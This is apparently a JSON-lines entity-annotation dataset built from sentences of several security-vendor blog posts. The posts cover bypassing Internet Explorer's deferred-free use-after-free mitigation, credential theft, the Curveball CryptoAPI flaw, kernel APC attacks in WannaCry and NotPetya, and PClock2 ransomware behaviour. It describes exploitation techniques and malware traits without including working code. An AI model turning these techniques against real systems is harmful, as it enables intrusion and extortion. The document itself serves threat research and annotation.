+{"id":764,"text":"C++ style pseudo code of ProtectedFree function  ","entities":[],"relations":[],"Comments":[]}
+{"id":765,"text":"Microsoft stores the to-be-freed blocks in a structure called st_ProtecFreeManageHeap.","entities":[{"id":44856,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
+{"id":766,"text":"This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks.","entities":[],"relations":[],"Comments":[]}
+{"id":767,"text":"Figure 4 shows an example of the structure in memory.","entities":[],"relations":[],"Comments":[]}
+{"id":768,"text":"  Figure 4. st_ProtecFreeManageHeap  Figure 5 provides an alternate view of the structure in a C style code block.","entities":[],"relations":[],"Comments":[]}
+{"id":769,"text":"  Figure 5. C style code of st_ProtecFreeManageHeap  ","entities":[],"relations":[],"Comments":[]}
+{"id":770,"text":"If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.    Figure 6. Javascript proof of concept to force freeing  When creating the anchor element, the debug logs are shown in figure 7.","entities":[{"id":46347,"label":"SOFTWARE","start_offset":340,"end_offset":350}],"relations":[],"Comments":[]}
+{"id":771,"text":"The address of the anchor element is 0x0c3b3f98.","entities":[],"relations":[],"Comments":[]}
+{"id":772,"text":"Figure 7:","entities":[],"relations":[],"Comments":[]}
+{"id":773,"text":"Before free  We then manually decrease the reference number, so the CMemoryProtector::ProtectedFree function will fill the block with 0’s, but the object is still not freed.","entities":[],"relations":[],"Comments":[]}
+{"id":774,"text":"Figure 8: decrease the reference number, not yet freed  ","entities":[],"relations":[],"Comments":[]}
+{"id":775,"text":"Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.","entities":[],"relations":[],"Comments":[]}
+{"id":776,"text":"  Figure 9: field “TotalMemorySize” of st_ProtecFreeManageHeap is greater than threshold  ","entities":[],"relations":[],"Comments":[]}
+{"id":777,"text":"The anchor element is now actually freed as shown in figure 10.","entities":[],"relations":[],"Comments":[]}
+{"id":778,"text":"Figure 10: object is in the free list now  ","entities":[],"relations":[],"Comments":[]}
+{"id":779,"text":"From a researchers' point of view, deferred free created a few problems, one of the major ones being that the page heap feature may not work correctly.","entities":[],"relations":[],"Comments":[]}
+{"id":780,"text":"Page heap is a useful feature for debugging.","entities":[],"relations":[],"Comments":[]}
+{"id":781,"text":"When page heap is turned on, the system allows only one object in one memory page.","entities":[],"relations":[],"Comments":[]}
+{"id":782,"text":"Once this object is freed the whole page is marked as invalid.","entities":[],"relations":[],"Comments":[]}
+{"id":783,"text":"So the next time IE tries to access a freed object an invalid address exception would be raised.","entities":[{"id":46348,"label":"SOFTWARE","start_offset":17,"end_offset":20}],"relations":[],"Comments":[]}
+{"id":784,"text":"This mechanism is extremely helpful when researchers are trying to find use-after-free bugs.","entities":[],"relations":[],"Comments":[]}
+{"id":785,"text":" With the introduction of the deferred free patch the object is no longer truly freed, so the page still exists.","entities":[],"relations":[],"Comments":[]}
+{"id":786,"text":"In this situation the researcher is no longer able to determine whether a use-after-free behavior has occurred because no exception would be thrown out.","entities":[],"relations":[],"Comments":[]}
+{"id":787,"text":"To reduce the impact of the deferred free patch, a research may consider patching the mshtml.dll in memory.","entities":[{"id":46349,"label":"FILEPATH","start_offset":86,"end_offset":96}],"relations":[],"Comments":[]}
+{"id":788,"text":"For example, you can call MemoryProtection::CMemoryProtector::UnprotectProcess before you perform any fuzzing tasks.","entities":[{"id":46350,"label":"attack-pattern","start_offset":102,"end_offset":109}],"relations":[],"Comments":[]}
+{"id":789,"text":" The recent patches and introduction of isolated heap and deferred free are strong signs that Microsoft plans to address the fundamentals of use-after-free exploitation in a preventative manner rather than to passively patch the vulnerabilities as they are discovered.","entities":[{"id":44857,"label":"identity","start_offset":94,"end_offset":103},{"id":44858,"label":"attack-pattern","start_offset":141,"end_offset":168}],"relations":[],"Comments":[]}
+{"id":790,"text":"From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks.","entities":[{"id":46351,"label":"attack-pattern","start_offset":94,"end_offset":116}],"relations":[],"Comments":[]}
+{"id":791,"text":"It can also make the exploitations of heap overflows or type confusion bugs significantly more difficult.","entities":[{"id":46353,"label":"attack-pattern","start_offset":21,"end_offset":52}],"relations":[],"Comments":[]}
+{"id":792,"text":"But this is not the end.","entities":[],"relations":[],"Comments":[]}
+{"id":793,"text":" For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited.","entities":[{"id":46354,"label":"identity","start_offset":29,"end_offset":38}],"relations":[],"Comments":[]}
+{"id":794,"text":"Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game?","entities":[],"relations":[],"Comments":[]}
+{"id":795,"text":"Time will tell.","entities":[],"relations":[],"Comments":[]}
+{"id":796,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":797,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":798,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":799,"text":"Today we’re releasing a new Unit 42 white paper titled “Credential-Based Attacks: Exposing the Ecosystem and Motives Behind Credential Phishing, Theft and Abuse.”","entities":[{"id":2601,"label":"identity","start_offset":28,"end_offset":35},{"id":2604,"label":"attack-pattern","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
+{"id":800,"text":"In this paper, we look at the problem of credential theft by exploring how it happens, what attackers do with credentials once they’ve stolen them, and what you can do to help prevent credential-based attacks.","entities":[{"id":46355,"label":"attack-pattern","start_offset":184,"end_offset":208}],"relations":[],"Comments":[]}
+{"id":801,"text":" Credentials and authentication have become synonymous, with valid credentials allowing access to sensitive resources.","entities":[],"relations":[],"Comments":[]}
+{"id":802,"text":"Adversaries are increasingly stealing and using credentials as part of their playbooks; impersonating legitimate users to access a company’s most sensitive information, erase data on servers, and reconfigure them so that they can’t boot; and undertake other malicious activities.","entities":[],"relations":[],"Comments":[]}
+{"id":803,"text":"Stolen credentials underpin some of the most critical and damaging attacks out there; both Shamoon 2 and the Sofacy threat actor group, for example, have made detailed use of credential theft.","entities":[{"id":46358,"label":"attack-pattern","start_offset":175,"end_offset":191},{"id":46356,"label":"threat-actor","start_offset":109,"end_offset":134},{"id":46357,"label":"threat-actor","start_offset":91,"end_offset":100}],"relations":[{"id":182,"from_id":46357,"to_id":46358,"type":"uses"},{"id":183,"from_id":46356,"to_id":46358,"type":"uses"}],"Comments":[]}
+{"id":804,"text":" Credential theft today can happen in many ways, but the most notable are through credential phishing and the use of malware like keyloggers (both staples of the Sofacy group), as well as password reuse.","entities":[{"id":44859,"label":"attack-pattern","start_offset":1,"end_offset":17},{"id":44860,"label":"attack-pattern","start_offset":82,"end_offset":101},{"id":44861,"label":"attack-pattern","start_offset":130,"end_offset":140},{"id":44862,"label":"threat-actor","start_offset":162,"end_offset":174},{"id":44863,"label":"attack-pattern","start_offset":188,"end_offset":202}],"relations":[{"id":33,"from_id":44862,"to_id":44863,"type":"uses"},{"id":34,"from_id":44862,"to_id":44861,"type":"uses"},{"id":35,"from_id":44862,"to_id":44860,"type":"uses"},{"id":36,"from_id":44862,"to_id":44859,"type":"uses"}],"Comments":[]}
+{"id":805,"text":"The impact of a successful credential theft is, ultimately, access and authorization.","entities":[{"id":46359,"label":"attack-pattern","start_offset":27,"end_offset":43}],"relations":[],"Comments":[]}
+{"id":806,"text":"Attackers will use credential theft for remote access to an organization, to access cloud-based resources (which may have weaker credential protections than network-based resources), or to move laterally within an organization once they’ve gained entry.","entities":[{"id":46360,"label":"attack-pattern","start_offset":19,"end_offset":35}],"relations":[],"Comments":[]}
+{"id":807,"text":"The most sophisticated attacks can – and do – blend these actions together, sometimes using multiple stolen credentials to penetrate networks, move laterally within them, elevate privileges, and then access and steal data.  Prevention of credential theft is too often overlooked.","entities":[{"id":46361,"label":"attack-pattern","start_offset":238,"end_offset":254},{"id":44864,"label":"attack-pattern","start_offset":101,"end_offset":119},{"id":44865,"label":"attack-pattern","start_offset":143,"end_offset":157},{"id":44866,"label":"attack-pattern","start_offset":171,"end_offset":188},{"id":44867,"label":"attack-pattern","start_offset":200,"end_offset":221}],"relations":[],"Comments":[]}
+{"id":808,"text":"Organizations should continue with user education to help users better spot and not fall for phishing and spam attacks.","entities":[{"id":46362,"label":"attack-pattern","start_offset":93,"end_offset":118}],"relations":[],"Comments":[]}
+{"id":809,"text":"You and your employees can also use password managers to make unique, complex passwords for each site not just a goal but a reality.","entities":[],"relations":[],"Comments":[]}
+{"id":810,"text":"Technology is also catching up; recent advances in two-factor\/multi-factor authentication (2FA\/MFA) and one-time passwords (OTP) represent the best long-term approaches to preventing credential theft.","entities":[{"id":46363,"label":"attack-pattern","start_offset":183,"end_offset":199}],"relations":[],"Comments":[]}
+{"id":811,"text":"(Our newest release, PAN-OS 8.0, also includes protections to significantly limit or eliminate password reuse.)","entities":[],"relations":[],"Comments":[]}
+{"id":812,"text":"Get your copy of our white paper here.","entities":[],"relations":[],"Comments":[]}
+{"id":813,"text":" Ignite '17 Security Conference: Vancouver, BC June 12–15, 2017  Ignite '17 Security Conference is a live, four-day conference designed for today’s security professionals.","entities":[{"id":46365,"label":"TIME","start_offset":47,"end_offset":63},{"id":46366,"label":"location","start_offset":33,"end_offset":46}],"relations":[],"Comments":[]}
+{"id":814,"text":"Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry.","entities":[],"relations":[],"Comments":[]}
+{"id":815,"text":"Visit the Ignite website for more information on tracks, workshops and marquee sessions.","entities":[],"relations":[],"Comments":[]}
+{"id":816,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":817,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
+{"id":818,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":819,"text":"This post is also available in:      日本語 (Japanese)  In January 2020, during the first Patch Tuesday of the new year, Microsoft released patches for 17 new vulnerabilities including one for CVE-2020-0601 known as Curveball.","entities":[{"id":44869,"label":"TIME","start_offset":56,"end_offset":68},{"id":44870,"label":"identity","start_offset":118,"end_offset":127},{"id":44871,"label":"TIME","start_offset":93,"end_offset":100},{"id":44872,"label":"vulnerability","start_offset":190,"end_offset":203},{"id":44873,"label":"vulnerability","start_offset":213,"end_offset":222}],"relations":[],"Comments":[]}
+{"id":820,"text":"The vulnerability exists in the Windows CryptoAPI (Crypt32.dll) and specifically relates to the method used for Elliptic Curve Cryptography (ECC) certificate validation.","entities":[{"id":46367,"label":"FILEPATH","start_offset":51,"end_offset":62},{"id":46368,"label":"SOFTWARE","start_offset":32,"end_offset":49}],"relations":[],"Comments":[]}
+{"id":821,"text":"At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).","entities":[{"id":46369,"label":"identity","start_offset":24,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":822,"text":"Researcher Tal Be’ery released a blog titled “Win 10 Crypto Vulnerability: Cheating in Elliptic Curve Billiard 2” that does a fantastic job at explaining this bug.","entities":[{"id":2688,"label":"location","start_offset":136,"end_offset":139},{"id":46370,"label":"SOFTWARE","start_offset":46,"end_offset":52},{"id":44874,"label":"identity","start_offset":11,"end_offset":21}],"relations":[],"Comments":[]}
+{"id":823,"text":" The patch provided by Microsoft included the typical release of operating system patches, but this time a new Application Programming Interface (API) function was added.","entities":[{"id":46371,"label":"SOFTWARE","start_offset":23,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":824,"text":"The new CveEventWrite function can be used to publish events when an attempt to exploit security vulnerabilities in user-mode applications occurs.","entities":[],"relations":[],"Comments":[]}
+{"id":825,"text":"Analysts can collect alerts on the Application Message “CVE-2020-0601” as a means to hunt for attempted exploitation of this vulnerability on patched systems.","entities":[{"id":46372,"label":"vulnerability","start_offset":56,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":826,"text":" We also recommend users of the Chrome browser to update to version 79.0.3945.130 as they recently released an update to fix the TLS issue.  Palo Alto Networks customers running Traps are now safeguarded from the Windows CryptoAPI Spoofing vulnerability, regardless of whether they are running an unpatched Microsoft Windows 10 system.","entities":[{"id":46376,"label":"SOFTWARE","start_offset":307,"end_offset":328},{"id":46375,"label":"SOFTWARE","start_offset":213,"end_offset":230},{"id":46373,"label":"SOFTWARE","start_offset":32,"end_offset":38},{"id":46374,"label":"identity","start_offset":141,"end_offset":159}],"relations":[],"Comments":[]}
+{"id":827,"text":"Additionally, Palo Alto Networks offers multiple, additional complementary protections:","entities":[{"id":46377,"label":"identity","start_offset":14,"end_offset":32}],"relations":[],"Comments":[]}
+{"id":828,"text":"As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage.","entities":[{"id":46378,"label":"identity","start_offset":19,"end_offset":62},{"id":44876,"label":"identity","start_offset":72,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":829,"text":"As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.","entities":[{"id":46379,"label":"identity","start_offset":37,"end_offset":46}],"relations":[],"Comments":[]}
+{"id":830,"text":" Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.  CVE-2020-0601: The ChainOfFools\/CurveBall Attack Explained POC  Win10 Crypto Vulnerability: Cheating in Elliptic Curve Billiards 2  NSA Cybersecurity Advisory  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[{"id":46383,"label":"identity","start_offset":250,"end_offset":253},{"id":46384,"label":"vulnerability","start_offset":137,"end_offset":149},{"id":46381,"label":"vulnerability","start_offset":118,"end_offset":131},{"id":46382,"label":"SOFTWARE","start_offset":182,"end_offset":187},{"id":46380,"label":"identity","start_offset":1,"end_offset":19},{"id":46385,"label":"vulnerability","start_offset":150,"end_offset":159}],"relations":[],"Comments":[]}
+{"id":831,"text":"Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
+{"id":832,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
+{"id":833,"text":"In the months since the WanaCrypt0r\/WannaCry and the Petya\/NotPetya attacks, security researchers have delved into the nuts and bolts these incidents and the malware involved.","entities":[{"id":2720,"label":"malware","start_offset":36,"end_offset":44},{"id":2722,"label":"malware","start_offset":53,"end_offset":58},{"id":2723,"label":"malware","start_offset":59,"end_offset":67},{"id":2719,"label":"malware","start_offset":24,"end_offset":35}],"relations":[],"Comments":[]}
+{"id":834,"text":" One key thing that research into these security incidents shows is that these attacks used a relatively new and unknown technique called kernel APC attacks as part of their toolkit.","entities":[{"id":44878,"label":"attack-pattern","start_offset":138,"end_offset":156}],"relations":[],"Comments":[]}
+{"id":835,"text":" Kernel APC attacks occur in a way that increases the “stealth” factor and makes standard detection and prevention very difficult.","entities":[{"id":46386,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
+{"id":836,"text":"And kernel APC attacks do this while still maximizing the power and control that the code has on the target system.","entities":[{"id":46387,"label":"attack-pattern","start_offset":3,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":837,"text":" While kernel APC attacks aren’t well known and can be hard to understand, their proven success in WanaCrypt0r\/WannaCry and the Petya\/NotPetya make them an important threat to understand because proven attack techniques are quickly adopted widely.","entities":[{"id":2746,"label":"malware","start_offset":128,"end_offset":133},{"id":44880,"label":"attack-pattern","start_offset":7,"end_offset":25},{"id":44881,"label":"malware","start_offset":99,"end_offset":110},{"id":44882,"label":"malware","start_offset":111,"end_offset":119},{"id":44884,"label":"malware","start_offset":134,"end_offset":142}],"relations":[{"id":185,"from_id":44882,"to_id":44880,"type":"uses"},{"id":186,"from_id":2746,"to_id":44880,"type":"uses"},{"id":184,"from_id":44881,"to_id":44880,"type":"uses"},{"id":187,"from_id":44884,"to_id":44880,"type":"uses"}],"Comments":[]}
+{"id":838,"text":"And understanding is a first step to prevention.","entities":[],"relations":[],"Comments":[]}
+{"id":839,"text":" To understand what makes kernel APC attacks so dangerous, it’s important to understand what they are.  The kernel is the heart of the operating system.","entities":[{"id":46388,"label":"attack-pattern","start_offset":26,"end_offset":44}],"relations":[],"Comments":[]}
+{"id":840,"text":"When talking about operating systems with security permissions and controls like Windows or UNIX\/Linux, the kernel operates with the highest level of control.","entities":[{"id":46392,"label":"SOFTWARE","start_offset":97,"end_offset":102},{"id":46391,"label":"SOFTWARE","start_offset":92,"end_offset":96},{"id":44885,"label":"SOFTWARE","start_offset":81,"end_offset":88}],"relations":[],"Comments":[]}
+{"id":841,"text":"Because of this, attacks against the kernel are used to gain complete control over a system, generally as part of an “elevation or privilege” (EoP) or “privilege escalation” attack.","entities":[{"id":2756,"label":"attack-pattern","start_offset":152,"end_offset":172},{"id":46393,"label":"attack-pattern","start_offset":118,"end_offset":140}],"relations":[],"Comments":[]}
+{"id":842,"text":"Typically, attacks against the kernel are used in conjunction with code execution attacks so that an attacker can target a limited privilege user but ultimately gain full control over the system.","entities":[],"relations":[],"Comments":[]}
+{"id":843,"text":" Privilege escalation attacks against the kernel have been around for some time and are well-known and can be well protected against.  Kernel APC attacks however are a different class of attack.","entities":[{"id":2760,"label":"attack-pattern","start_offset":1,"end_offset":21},{"id":44889,"label":"attack-pattern","start_offset":135,"end_offset":153}],"relations":[],"Comments":[]}
+{"id":844,"text":"These don’t attack the kernel to gain privileges.","entities":[],"relations":[],"Comments":[]}
+{"id":845,"text":"Instead kernel APC attacks already have kernel privileges and use them to further carry out their attack.","entities":[{"id":46394,"label":"attack-pattern","start_offset":8,"end_offset":26}],"relations":[],"Comments":[]}
+{"id":846,"text":"In this case by making legitimate programs execute malicious code rather than their own legitimate code.","entities":[{"id":44890,"label":"attack-pattern","start_offset":43,"end_offset":65}],"relations":[],"Comments":[]}
+{"id":847,"text":" Kernel APC attacks do this using their control over the kernel to redirect APCs: “Asynchronous Procedure Calls”.","entities":[{"id":46395,"label":"attack-pattern","start_offset":1,"end_offset":19}],"relations":[],"Comments":[]}
+{"id":848,"text":"APCs can basically be thought of as places in line for the CPU that the kernel gives access to.","entities":[],"relations":[],"Comments":[]}
+{"id":849,"text":"In a kernel APC attack, the attacker gives a legitimate program’s place in line to the attacker’s code.","entities":[{"id":44891,"label":"attack-pattern","start_offset":5,"end_offset":22}],"relations":[],"Comments":[]}
+{"id":850,"text":" The crux of what makes this attack technique so important is how the technique uses this level of control to have legitimate programs run illegitimate commands.","entities":[],"relations":[],"Comments":[]}
+{"id":851,"text":"It’s easier to detect and prevent illegitimate programs (malware) from executing commands.","entities":[],"relations":[],"Comments":[]}
+{"id":852,"text":"But when legitimate programs execute illegitimate commands, it’s harder to detect and prevent: it’s not always clear whether a command is legitimate or not, and interfering with commands from legitimate programs can have significant (sometimes catastrophic) unintended consequences.","entities":[],"relations":[],"Comments":[]}
+{"id":853,"text":"And finally because of ways that kernel APC attacks are carried out, it doesn’t leave the usual fingerprints you find after an attack making detection harder still.","entities":[],"relations":[],"Comments":[]}
+{"id":854,"text":" Taken altogether, these make kernel APC attacks an effective and sophisticated technique.","entities":[{"id":46396,"label":"attack-pattern","start_offset":30,"end_offset":48}],"relations":[],"Comments":[]}
+{"id":855,"text":"And while this technique alone isn’t solely responsible for the damaging power of WanaCrypt0r\/WannaCry and Petya\/NotPetya it is certainly an important contributing factor.","entities":[{"id":2781,"label":"malware","start_offset":82,"end_offset":93},{"id":2784,"label":"malware","start_offset":107,"end_offset":112},{"id":44893,"label":"malware","start_offset":94,"end_offset":102},{"id":44895,"label":"malware","start_offset":113,"end_offset":121}],"relations":[],"Comments":[]}
+{"id":856,"text":" Perhaps more importantly, it’s a piece of those attacks that has escaped relative notice outside of some specialized parts of the research community.","entities":[],"relations":[],"Comments":[]}
+{"id":857,"text":" New effective attack techniques that escape notice are always inviting for other copycat attackers.","entities":[],"relations":[],"Comments":[]}
+{"id":858,"text":"A good way to defend against this is to understand and be aware of the thread: forewarned is forearmed.","entities":[],"relations":[],"Comments":[]}
+{"id":859,"text":" If you want a more detailed understanding of kernel APC attacks as they occurred in WanaCrypt0r\/WannaCry, two good resources are Microsoft’s MMPC blog “WannaCrypt ransomware worm targets out-of-date systems” and Countercept’s “DOUBLEPULSAR Usermode Analysis: Generic Reflective DLL Loader”.","entities":[{"id":2796,"label":"identity","start_offset":130,"end_offset":139},{"id":2800,"label":"malware","start_offset":228,"end_offset":240},{"id":2791,"label":"malware","start_offset":85,"end_offset":96},{"id":2792,"label":"malware","start_offset":97,"end_offset":105},{"id":46397,"label":"malware","start_offset":153,"end_offset":163}],"relations":[],"Comments":[]}
+{"id":860,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
+{"id":861,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
+{"id":862,"text":"In recent years, ransomware families are often glamorized as being some of the most dangerous types of malware.","entities":[],"relations":[],"Comments":[]}
+{"id":863,"text":"They’ve certainly caused a wealth of damage to end users with some of the more prominent malware families, such as CryptoLocker, CryptoWall, TorrentLocker, and TeslaCrypt infecting millions of users overall.","entities":[{"id":46398,"label":"malware","start_offset":160,"end_offset":170},{"id":46399,"label":"malware","start_offset":141,"end_offset":154},{"id":46400,"label":"malware","start_offset":129,"end_offset":139},{"id":46401,"label":"malware","start_offset":115,"end_offset":128}],"relations":[],"Comments":[]}
+{"id":864,"text":" For readers that might be unfamiliar with ransomware, it’s a type of malware that is responsible for encrypting a user’s files with a key known only to the attackers.","entities":[],"relations":[],"Comments":[]}
+{"id":865,"text":"Examples of files that might be encrypted include financial documents, home movies, photos, or business-related files.","entities":[],"relations":[],"Comments":[]}
+{"id":866,"text":"In order to decrypt these files, the victim must provide a ransom, or payment, to the attacker, often in the form of a digital currency.","entities":[],"relations":[],"Comments":[]}
+{"id":867,"text":"While ransomware is often thought to be bullet-proof, it is certainly not always the case.","entities":[],"relations":[],"Comments":[]}
+{"id":868,"text":"In early 2015, Emnisoft identified a new family of malware named PClock.","entities":[{"id":46402,"label":"identity","start_offset":15,"end_offset":23},{"id":46405,"label":"TIME","start_offset":3,"end_offset":13},{"id":46403,"label":"malware","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
+{"id":869,"text":"At the time, the malware was riddled with issues, specifically in the way it encrypted files.","entities":[],"relations":[],"Comments":[]}
+{"id":870,"text":"It used a simple XOR encryption routine with a static key, allowing victims to easily recover their files without paying a ransom.","entities":[],"relations":[],"Comments":[]}
+{"id":871,"text":" In August, we started detecting updated copies of PClock, which has been improved upon by the malware author.","entities":[{"id":46406,"label":"TIME","start_offset":4,"end_offset":10},{"id":46407,"label":"malware","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]}
+{"id":872,"text":"We set out to determine if this updated version of PClock holds up to some of the more prominent families.","entities":[{"id":46408,"label":"malware","start_offset":51,"end_offset":57}],"relations":[],"Comments":[]}
+{"id":873,"text":"For the sake of clarity, I will refer to this newer version of PClock as PClock2 going forward.","entities":[{"id":44897,"label":"malware","start_offset":73,"end_offset":80},{"id":44896,"label":"malware","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
+{"id":874,"text":" The following sample is used for analysis:  Figure 1.","entities":[],"relations":[],"Comments":[]}
+{"id":875,"text":"PClock2","entities":[{"id":46409,"label":"malware","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
+{"id":876,"text":"analysis sample  PClock2 is written in Visual Basic.","entities":[{"id":46410,"label":"SOFTWARE","start_offset":39,"end_offset":51},{"id":44898,"label":"malware","start_offset":17,"end_offset":24}],"relations":[{"id":188,"from_id":44898,"to_id":46410,"type":"uses"}],"Comments":[]}
+{"id":877,"text":"For a copy of this file’s IDA Pro database (idb), please refer here.","entities":[{"id":46411,"label":"SOFTWARE","start_offset":26,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":878,"text":" When initially executed, PClock2 performs a very simple anti-analysis check where it will sleep for a random amount of time and compare the time spent sleeping against a set value.","entities":[{"id":46412,"label":"malware","start_offset":26,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":879,"text":"This check is essentially looking for sandbox systems where the sleep function accelerates analysis.","entities":[],"relations":[],"Comments":[]}
+{"id":880,"text":" Figure 2. Check by PClock2 for hooking of sleep function  A simple check is performed to determine if the malware is running with administrative privileges.","entities":[{"id":46413,"label":"malware","start_offset":20,"end_offset":27},{"id":46414,"label":"attack-pattern","start_offset":32,"end_offset":39}],"relations":[],"Comments":[]}
+{"id":881,"text":"Once completed, the malware sends the result via an HTTP POST request to a remote server.","entities":[],"relations":[],"Comments":[]}
+{"id":882,"text":"All data sent via HTTP POST requests is sent in the clear.","entities":[],"relations":[],"Comments":[]}
+{"id":883,"text":"Figure 3. HTTP POST request containing administrative privileges  ","entities":[],"relations":[],"Comments":[]}
+{"id":884,"text":"The ‘P0’ is statically set by the malware in the above request.","entities":[],"relations":[],"Comments":[]}
+{"id":885,"text":"The ‘1828’ represents the thread ID (TID) of the malware, while the ‘rnd’ GET variable is randomly generated.","entities":[],"relations":[],"Comments":[]}
+{"id":886,"text":" Throughout the runtime of PClock2, it makes multiple HTTP POST requests to a remote server using the same characteristics, including the ‘PO[TID]’ and the current time.","entities":[{"id":46416,"label":"malware","start_offset":27,"end_offset":34}],"relations":[],"Comments":[]}
+{"id":887,"text":"Additionally, the user-agent used by the entire PClock family, including PClock2, is consistent across samples.","entities":[{"id":46417,"label":"malware","start_offset":48,"end_offset":54},{"id":46418,"label":"malware","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
+{"id":888,"text":" PClock2 proceeds to copy itself with the name “winjab.exe” in the following path.","entities":[{"id":44900,"label":"FILEPATH","start_offset":48,"end_offset":58},{"id":44899,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
+{"id":889,"text":"While this particular sample is seen installing itself to the %ALLUSERSPROFILE% path, other samples have been witnessed using %APPDATA% instead.","entities":[{"id":46419,"label":"FILEPATH","start_offset":62,"end_offset":79},{"id":46420,"label":"FILEPATH","start_offset":126,"end_offset":135}],"relations":[],"Comments":[]}
+{"id":890,"text":" PClock2 also enables persistence by setting the following registry key.","entities":[{"id":46421,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
+{"id":891,"text":"All instances of the entire PClock family have been found to use this particular registry key.","entities":[{"id":44901,"label":"malware","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
+{"id":892,"text":" After installation is complete, the malware makes another HTTP POST containing the various file paths it used.","entities":[],"relations":[],"Comments":[]}
+{"id":893,"text":" Figure 4. HTTP POST request containing file paths of malware  After installation, PClock2 will also set the following registry key with a value of ‘INSTALL_OK’.","entities":[{"id":46422,"label":"malware","start_offset":83,"end_offset":90}],"relations":[],"Comments":[]}
+{"id":894,"text":" This particular registry key is used to hold the latest state of the malware.","entities":[],"relations":[],"Comments":[]}
+{"id":895,"text":"Other messages that might be present in this key include the following.","entities":[],"relations":[],"Comments":[]}
+{"id":896,"text":" The following registry keys are also used within the CLOCK sub-path by PClock2:  PClock2 proceeds to use the API from blockchain.info to generate a unique Bitcoin (BTC) wallet identifier, which is configured to automatically forward payments to a hardcoded wallet identifier of ‘1MRfkK134ErfbcadUSoSUCBahngCqoBKju’.","entities":[{"id":46423,"label":"malware","start_offset":72,"end_offset":79},{"id":46424,"label":"malware","start_offset":82,"end_offset":89},{"id":46425,"label":"DOMAIN","start_offset":119,"end_offset":134}],"relations":[],"Comments":[]}
+{"id":897,"text":"The following HTTPS request accomplishes this.","entities":[],"relations":[],"Comments":[]}
+{"id":898,"text":" PClock2 will also make a request to the following blockchain.info address to determine the current value of BTC.","entities":[{"id":46427,"label":"DOMAIN","start_offset":51,"end_offset":66},{"id":46426,"label":"malware","start_offset":1,"end_offset":8}],"relations":[],"Comments":[]}
+{"id":899,"text":"This information is stored in the ‘\\BData\\B’ registry key as previously stated.","entities":[{"id":46428,"label":"REGISTRYKEY","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
+{"id":900,"text":" The malware proceeds to generate a unique key that will be used in subsequent file encryption using the following data:  This data is concatenated to form a string similar to the following:  Figure 5.","entities":[],"relations":[],"Comments":[]}
+{"id":901,"text":"Data collected to be used in formation of unique key  This data is then hashed using the SHA256 algorithm to generate a unique key.","entities":[],"relations":[],"Comments":[]}
+{"id":902,"text":"This key is stored in the ‘\\CData\\C’ registry key as previously stated.","entities":[{"id":46429,"label":"REGISTRYKEY","start_offset":27,"end_offset":35}],"relations":[],"Comments":[]}
+{"id":903,"text":"This key is also sent via a HTTP POST request.","entities":[],"relations":[],"Comments":[]}
+{"id":904,"text":"Figure 6.","entities":[],"relations":[],"Comments":[]}
+{"id":905,"text":"HTTP POST request containing unique SHA256 key  PClock2 scans the file system of the victim in order to identify files that are to be encrypted.","entities":[],"relations":[],"Comments":[]}
+{"id":906,"text":"The following paths are ignored:  Additionally, for a list of targeted file types, please see the following link.","entities":[],"relations":[],"Comments":[]}
+{"id":907,"text":" Once files are identified, PClock will begin encrypting them, one-by-one.","entities":[{"id":46430,"label":"malware","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
